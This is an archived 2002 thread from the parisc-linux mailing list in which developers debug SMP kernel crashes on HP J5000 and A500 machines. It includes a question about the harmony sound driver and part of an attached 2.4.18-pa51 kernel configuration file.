X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SMP (in)stability
Date: Tue, 9 Jul 2002 19:40:52 -0700 (PDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207091919340.19290-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621485 10213 80.91.229.3 (22 Nov 2014 01:58:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 20:40:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A3D04852
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 20:40:53 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP id 7CDA27BC45
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 19:40:52 -0700 (PDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15383

After having read on this list that some SMP-related problems were fixed,
I decided to try out the latest kernel as SMP on my J5k.  I tried my old
test, apt-get update, on it.  It downloaded the package lists fine, but
stopped after printing "Reading Package Lists... 0%".  Since I was running
over an ssh session, I don't have any console log messages that may have
appeared, but every time before this (on older smp kernels) it has stopped
at an unaligned access message.  As a point of reference, the last smp 
kernel that was stable for me was 2.4.17-32-smp in debian.  There was an 
updated version of it that was not stable, the stable one was the release 
before (if the box was up, I could get more info from the .deb I grabbed 
of it).  Hopefully that info will help you figure out what change was 
likely to have caused the problems.  I'll get you specifics on that kernel 
package tomorrow.

-- 
FORTUNE PROVIDES QUESTIONS FOR THE GREAT ANSWERS: #4
A:	Go west, young man, go west!
Q:	What do wabbits do when they get tiwed of wunning awound?




From - Thu Nov 08 21:23:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP (in)stability
Date: Tue, 09 Jul 2002 23:36:47 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20020710053647.D282F4853@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0207091919340.19290-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621485 10216 80.91.229.3 (22 Nov 2014 01:58:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 23:36:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D282F4853; Tue,  9 Jul 2002 23:36:47 -0600 (MDT)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Tue, 09 Jul 2002 19:40:52 PDT." <Pine.LNX.4.44.0207091919340.19290-100000@garibaldi.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15384

Jeremy Drake wrote:
> After having read on this list that some SMP-related problems were fixed,
> I decided to try out the latest kernel as SMP on my J5k.  I tried my old
> test, apt-get update, on it.  It downloaded the package lists fine, but
> stopped after printing "Reading Package Lists... 0%".

It Works For Me. (tm)

Did you build this kernel yourself or grab a debian kernel package?
Can you provide "uname -a" output of the SMP kernel you tested?

FYI, I've uploaded my a500 build (should work on j5k as well
if it's using serial console) to:
	ftp://ftp.parisc-linux.org/kernels/a500/2.4.18-pa52.tgz

The -pa52 kernel built 100+ kernels/modules successively until
I stopped it on the a500-44. The same kernel on a500-6X (PA8700)
crashes after 12 or so hours of building gcc bits. I've also seen
eth0 (tulip driver) spontaneously go to an unconfigured state
without saying anything on the console. It's possible a cron job
or something else ifdown'd it but I don't know why.

BTW, before I go to bed tonight, I expect the latest kernel to be -pa54.
I'll be adding a one-liner sym53c8xx_2 driver patch to allow one to
use the default CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1.
One can use sym53c8xx_2 now with CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=0.
Richard Hirst and Paul Bame (and a few others) have tested this out already.

thanks,
grant



From - Thu Nov 08 21:23:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] harmony driver on k210/819
Date: Wed, 10 Jul 2002 09:48:30 +0300
Lines: 7
Approved: news@gmane.org
Message-ID: <3D2BD8BE.7060409@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621485 10218 80.91.229.3 (22 Nov 2014 01:58:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 10 00:48:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id C3A134856
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Jul 2002 00:48:05 -0600 (MDT)
Original-Received: (qmail 20988 invoked from network); 10 Jul 2002 06:49:16 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 10 Jul 2002 06:49:15 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15385

Hello, on kernel 2.4.18-pa52, i compiled harmony sound blaster
in dmesg the sound blaster is detected
but when I start mpg123 blahblah.mp3 the output is Illegal operation





From - Thu Nov 08 21:23:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP (in)stability
Date: Wed, 10 Jul 2002 00:55:25 -0700 (PDT)
Lines: 70
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207100032050.19290-100000@garibaldi.apptechsys.com>
References: <20020710053647.D282F4853@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621486 10221 80.91.229.3 (22 Nov 2014 01:58:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 10 01:55:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id ECB4A4862
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Jul 2002 01:55:27 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ssh.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id EEBF07BC45; Wed, 10 Jul 2002 00:55:25 -0700 (PDT)
In-Reply-To: <20020710053647.D282F4853@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15386

On Tue, 9 Jul 2002, Grant Grundler wrote:

> Jeremy Drake wrote:
> > After having read on this list that some SMP-related problems were fixed,
> > I decided to try out the latest kernel as SMP on my J5k.  I tried my old
> > test, apt-get update, on it.  It downloaded the package lists fine, but
> > stopped after printing "Reading Package Lists... 0%".
> 
> It Works For Me. (tm)
> 
> Did you build this kernel yourself or grab a debian kernel package?
> Can you provide "uname -a" output of the SMP kernel you tested?
Oops, I thought I said -pa52.  This is built from the cvs.parisc-linux.org
tree.  I won't be able to get the actual output of uname -a until
tomorrow, but I can guess what it will say: "Linux krakatoa 2.4.18-pa52
SMP #X Tues July 09 14:30:00 PDT 2002 parisc unknown".  Not too sure what
it says for the arch...  I sent my uniproc .config to the list earlier
today, but I can send you the smp one tomorrow if you want it.  I can even
send you the package that make-kpkg made for me, if you want.

I don't really understand what the deal is with SMP on this box, but 
various strange things happen: apt-get update kills it, samba kills it, 
and if I just leave it alone, it dies by itself after a while (I only 
witnessed the apt-get problem with this particular kernel).  I can build 
the kernel happily on it, it's just those certain things that crash it, 
usually after spitting an unaligned access message to the console, and 
sometimes causing an HPMC (the last one I remember was a "runway broad 
error").  I would chalk it up to hardware, because this box has a broken 
onboard USB connector (one is physically damaged and the other quit 
working when the pins in the damaged one got bent around), but I pulled 
the drive and stuck it in another J5k that is not damaged, and is 
virtually identical in configuration to the one I usually use, and it did 
the same thing.

Uniproc is perfectly stable, I have not ever seen it crash.  I just don't
like to let hardware sit unused like that second proc does.  (i have a
486sx25 running linux that I write emails on in pine, and a 286 running
dos and windows 3.1 sitting here on my KVM switch...;)

> > FYI, I've uploaded my a500 build (should work
on j5k as well > if it's using serial console) to:
> 	ftp://ftp.parisc-linux.org/kernels/a500/2.4.18-pa52.tgz
> 
> BTW, before I go to bed tonight, I expect the latest kernel to be -pa54.
> I'll be adding a one-liner sym53c8xx_2 driver patch to allow one to
> use the default CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1.
> One can use sym53c8xx_2 now with CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=0.
> Richard Hirst and Paul Bame (and a few others) have tested this out already.

I will look at the tgz and also cvs update tomorrow when I get in the same 
building with the box, and send uname -a and .config, and also any 
observations I can make of the box when I get to it (any messages on the 
LCD, any ser pim output that it may have, any log messages)...  Next time 
I'll leave a serial console open to it :)

> 
> thanks,
> grant
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 
The gates in my computer are AND, OR and NOT; they are not Bill.




From - Thu Nov 08 21:23:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP (in)stability
Date: Wed, 10 Jul 2002 10:51:09 +0200
Lines: 844
Approved: news@gmane.org
Message-ID: <2DB6E156-93E2-11D6-BEE2-0030656F07A2@esiee.fr>
References: <Pine.LNX.4.44.0207100032050.19290-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: multipart/mixed; boundary=Apple-Mail-1-739229053
X-Trace: ger.gmane.org 1416621486 10223 80.91.229.3 (22 Nov 2014 01:58:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:06 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 10 02:51:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id E3A55486B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Jul 2002 02:51:10 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 7859C49C33; Wed, 10 Jul 2002 10:51:09 +0200 (CEST)
In-Reply-To: <Pine.LNX.4.44.0207100032050.19290-100000@garibaldi.apptechsys.com>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15387

--Apple-Mail-1-739229053
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=ISO-8859-1;
	format=flowed


Le mercredi 10 juillet 2002, =E0 09:55 , Jeremy Drake a =E9crit :

> On Tue, 9 Jul 2002, Grant Grundler wrote:
>
>> Jeremy Drake wrote:
>>> After having read on this list that some SMP-related problems were=20=

>>> fixed,
>>> I decided to try out the latest kernel as SMP on my J5k.  I tried my=20=

>>> old
>>> test, apt-get update, on it.  It downloaded the package lists fine,=20=

>>> but
>>> stopped after printing "Reading Package Lists... 0%".
>>
>> It Works For Me. (tm)
As For Us ;)
>>
>> Did you build this kernel yourself or grab a debian kernel package?
>> Can you provide "uname -a" output of the SMP kernel you tested?
> Oops, I thought I said -pa52.  This is built from the cvs.parisc-
> linux.org
> tree.
We have pa51 running on J5k:
Linux mkhppa02 2.4.18-pa51 #1 SMP Mon Jul 8 12:43:59 CEST 2002 parisc64=20=

unknown

It's a custom build from cvs (see .config attached).

The box worked perfectly fine with 2 setis running on it during 5 days=20=

with pa46,
and now it's been updated and running for 2 days in the same conditions.
So does our A500 under heavy load, which used to crash a couple of hours
after being started with kernels < pa46, when running seti/dnetc and=20
building ISOs.

It also seems to me (though i cannot confirm atm) that the 'PIO mode' in
SYM53C8XX driver improves stability.

About J5k, the only thing quite curious is the message that appears on=20=

the LCD after boot:

We first have 'Linux 2.4.18-pa5' (the name is too long and doesn't fit=20=

the display)
and then a PDC code overlap on it:
'INI CC01';
which gives us (iirc) something like:
'INI CC014.18-pa5'

echo whatever > /proc/pdc/lcd doesn't get annoyed by this message, so it
occurs only after boot sequence.

>>> FYI, I've uploaded my a500 build (should work
> on j5k as well > if it's using serial console) to:
>> 	ftp://ftp.parisc-linux.org/kernels/a500/2.4.18-pa52.tgz
I'm building a pa54 ISO/Lifimage that will be available soon at ESIEE=20
and on ftp.p-l.o :)


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/


--Apple-Mail-1-739229053
Content-Disposition: attachment;
	filename=config-2.4.18-pa51
Content-Transfer-Encoding: 7bit
Content-Type: application/octet-stream;
	x-unix-mode=0644;
	name="config-2.4.18-pa51"

#
# Automatically generated make config: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Loadable module support
#
CONFIG_MODULES=y
CONFIG_MODVERSIONS=y
CONFIG_KMOD=y

#
# Processor type
#
# CONFIG_PA7100 is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7100LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PARISC64=y
# CONFIG_PDC_NARROW is not set

#
# General options
#
CONFIG_SMP=y
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_KWDB is not set
CONFIG_IOMMU_CCIO=y
# CONFIG_GSC is not set
# CONFIG_GSC_LASI is not set
# CONFIG_GSC_WAX is not set
# CONFIG_EISA is not set
# CONFIG_ISA is not set
CONFIG_PCI=y
# CONFIG_GSC_DINO is not set
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_SUPERIO=y
CONFIG_PCI_NAMES=y

#
# General setup
#
# CONFIG_HOTPLUG is not set
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=m
# CONFIG_BINFMT_MISC is not set
# CONFIG_PM is not set

#
# Parallel port support
#
# CONFIG_PARPORT is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_LOOP=y
# CONFIG_BLK_DEV_NBD is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=4096
# CONFIG_BLK_DEV_INITRD is not set

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set
# CONFIG_BLK_DEV_MD is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
# CONFIG_MD_RAID1 is not set
# CONFIG_MD_RAID5 is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_BLK_DEV_LVM is not set

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
# CONFIG_NETLINK_DEV is not set
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
# CONFIG_FILTER is not set
CONFIG_UNIX=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
CONFIG_INET_ECN=y
CONFIG_SYN_COOKIES=y

#
#   IP: Netfilter Configuration
#
# CONFIG_IP_NF_CONNTRACK is not set
# CONFIG_IP_NF_QUEUE is not set
CONFIG_IP_NF_IPTABLES=y
# CONFIG_IP_NF_MATCH_LIMIT is not set
# CONFIG_IP_NF_MATCH_MAC is not set
# CONFIG_IP_NF_MATCH_MARK is not set
# CONFIG_IP_NF_MATCH_MULTIPORT is not set
# CONFIG_IP_NF_MATCH_TOS is not set
# CONFIG_IP_NF_MATCH_AH_ESP is not set
# CONFIG_IP_NF_MATCH_LENGTH is not set
# CONFIG_IP_NF_MATCH_TTL is not set
# CONFIG_IP_NF_MATCH_TCPMSS is not set
# CONFIG_IP_NF_MATCH_UNCLEAN is not set
# CONFIG_IP_NF_MATCH_OWNER is not set
CONFIG_IP_NF_FILTER=y
CONFIG_IP_NF_TARGET_REJECT=y
# CONFIG_IP_NF_TARGET_MIRROR is not set
# CONFIG_IP_NF_MANGLE is not set
CONFIG_IP_NF_TARGET_LOG=y
# CONFIG_IP_NF_TARGET_ULOG is not set
# CONFIG_IP_NF_TARGET_TCPMSS is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set
# CONFIG_VLAN_8021Q is not set

#
#  
#
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# ATA/IDE/MFM/RLL support
#
CONFIG_IDE=y

#
# IDE, ATA and ATAPI Block devices
#
CONFIG_BLK_DEV_IDE=y

#
# Please see Documentation/ide.txt for help/info on IDE drives
#
# CONFIG_BLK_DEV_HD_IDE is not set
# CONFIG_BLK_DEV_HD is not set
# CONFIG_BLK_DEV_IDEDISK is not set
# CONFIG_IDEDISK_MULTI_MODE is not set
# CONFIG_BLK_DEV_IDEDISK_VENDOR is not set
# CONFIG_BLK_DEV_IDEDISK_FUJITSU is not set
# CONFIG_BLK_DEV_IDEDISK_IBM is not set
# CONFIG_BLK_DEV_IDEDISK_MAXTOR is not set
# CONFIG_BLK_DEV_IDEDISK_QUANTUM is not set
# CONFIG_BLK_DEV_IDEDISK_SEAGATE is not set
# CONFIG_BLK_DEV_IDEDISK_WD is not set
# CONFIG_BLK_DEV_COMMERIAL is not set
# CONFIG_BLK_DEV_TIVO is not set
# CONFIG_BLK_DEV_IDECS is not set
CONFIG_BLK_DEV_IDECD=y
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_BLK_DEV_IDEFLOPPY is not set
# CONFIG_BLK_DEV_IDESCSI is not set

#
# IDE chipset support/bugfixes
#
# CONFIG_BLK_DEV_CMD640 is not set
# CONFIG_BLK_DEV_CMD640_ENHANCED is not set
# CONFIG_BLK_DEV_ISAPNP is not set
# CONFIG_BLK_DEV_RZ1000 is not set
CONFIG_BLK_DEV_IDEPCI=y
# CONFIG_IDEPCI_SHARE_IRQ is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
CONFIG_BLK_DEV_ADMA=y
# CONFIG_BLK_DEV_OFFBOARD is not set
CONFIG_IDEDMA_PCI_AUTO=y
CONFIG_BLK_DEV_IDEDMA=y
# CONFIG_IDEDMA_PCI_WIP is not set
# CONFIG_IDEDMA_NEW_DRIVE_LISTINGS is not set
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_AEC62XX_TUNING is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_WDC_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_AMD74XX_OVERRIDE is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_CY82C693 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT34X is not set
# CONFIG_HPT34X_AUTODMA is not set
# CONFIG_BLK_DEV_HPT366 is not set
CONFIG_BLK_DEV_NS87415=y
# CONFIG_BLK_DEV_OPTI621 is not set
# CONFIG_BLK_DEV_PDC202XX is not set
# CONFIG_PDC202XX_BURST is not set
# CONFIG_PDC202XX_FORCE is not set
# CONFIG_BLK_DEV_SVWKS is not set
# CONFIG_BLK_DEV_SIS5513 is not set
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_IDE_CHIPSETS is not set
CONFIG_IDEDMA_AUTO=y
# CONFIG_IDEDMA_IVB is not set
# CONFIG_DMA_NONPCI is not set
# CONFIG_BLK_DEV_IDE_MODES is not set
# CONFIG_BLK_DEV_ATARAID is not set
# CONFIG_BLK_DEV_ATARAID_PDC is not set
# CONFIG_BLK_DEV_ATARAID_HPT is not set

#
# SCSI support
#
CONFIG_SCSI=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_ST=m
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=m
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_SR_EXTRA_DEVS=2
CONFIG_CHR_DEV_SG=m

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_DEBUG_QUEUES is not set
CONFIG_SCSI_MULTI_LUN=y
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI low-level drivers
#
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_7000FASST is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA152X is not set
# CONFIG_SCSI_AHA1542 is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_MEGARAID is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_CPQFCTS is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_EATA_DMA is not set
# CONFIG_SCSI_EATA_PIO is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GDTH is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_NCR53C406A is not set
# CONFIG_SCSI_LASI700 is not set
# CONFIG_SCSI_NCR53C7xx is not set
# CONFIG_SCSI_SYM53C8XX_2 is not set
# CONFIG_SCSI_NCR53C8XX is not set
CONFIG_SCSI_SYM53C8XX=y
# CONFIG_SCSI_ZALON is not set
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
